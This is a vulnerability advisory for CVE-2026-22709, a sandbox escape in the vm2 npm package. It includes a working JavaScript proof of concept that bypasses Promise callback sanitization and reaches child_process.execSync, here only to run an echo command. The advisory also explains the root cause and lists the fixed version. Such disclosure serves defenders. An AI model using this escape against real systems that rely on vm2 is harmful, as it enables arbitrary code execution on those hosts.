CVE-2026-22709
vm2 has a Sandbox Escape
Impact
In vm2 for version 3.10.0, `Promise.prototype.then` `Promise.prototype.catch` callback sanitization can be bypassed. This allows attackers to escape the sandbox and run arbitrary code. ```js const { VM } = require("vm2"); const code = ` const error = new Error(); error.name = Symbol(); const f = async () => error.stack; const promise = f(); promise.catch(e => { const Error = e.constructor; const Function = Error.constructor; const f = new Function( "process.mainModule.require('child_process').execSync('echo HELLO WORLD!', { stdio: 'inherit' })" ); f(); }); `; new VM().run(code); ``` In lib/setup-sandbox.js, the callback function of `localPromise.prototype.then` is sanitized, but `globalPromise.prototype.then` is not sanitized. The return value of async functions is `globalPromise` object.
Affected packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | vm2 | <= 3.10.1 | 3.10.2 |
Affected products
| Vendor | Product | Affected versions |
|---|---|---|
| Vm2 Project | Vm2 | before 3.10.2 |
Weakness classification
References
- NVD record
- CVE.org record
- GitHub advisory
- https://github.com/patriksimek/vm2/commit/4b009c2d4b1131c01810c1205e641d614c322a29
- https://github.com/patriksimek/vm2/releases/tag/v3.10.2
- https://github.com/patriksimek/vm2/security/advisories/GHSA-99p7-6v5w-7xg8
- https://github.com/advisories/GHSA-99p7-6v5w-7xg8
- https://nvd.nist.gov/vuln/detail/CVE-2026-22709